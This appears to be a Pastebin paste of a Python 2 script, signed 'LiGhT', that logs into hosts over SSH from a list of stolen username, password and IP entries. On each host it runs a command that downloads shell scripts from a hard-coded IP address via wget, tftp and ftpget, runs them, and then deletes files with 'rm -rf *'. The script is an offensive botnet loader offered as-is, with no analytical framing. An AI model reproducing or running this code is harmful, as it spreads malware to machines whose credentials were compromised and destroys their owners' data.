Advertisement
Guest User

Untitled

a guest
Jun 25th, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Made By LiGhT
  3.  
  4. import sys, re, os, paramiko
  5. from multiprocessing import Process
  6.  
  7. if len(sys.argv) < 2:
  8. sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  9.  
  10. paramiko.util.log_to_file("/dev/null")
  11. cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.203.248.221/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.203.248.221 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.203.248.221; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.203.248.221 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *
  12. " #command to send
  13. r34d = open(str(sys.argv[1]),'a+')
  14. print "\033[31mStarting Scan!\n"
  15. def w0rk(username,password,ip):
  16. try:
  17. port = 22
  18. ssh = paramiko.SSHClient()
  19. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  20. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  21. print "\033[32m[\033[31m+\033[32m] Command Sent: "+ip+"\033[37m\n"
  22. ssh.exec_command(""+cmd+"")
  23. ssh.close()
  24. except:
  25. pass
  26. for line in r34d:
  27. ip_1nfo = line.split(":")
  28. g0d = Process(target=w0rk, args=(ip_1nfo[0],ip_1nfo[1],ip_1nfo[2],))
  29. g0d.start()
  30. username=ip_1nfo[0]
  31. password=ip_1nfo[1]
  32. ip=ip_1nfo[2]
  33. g0d.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement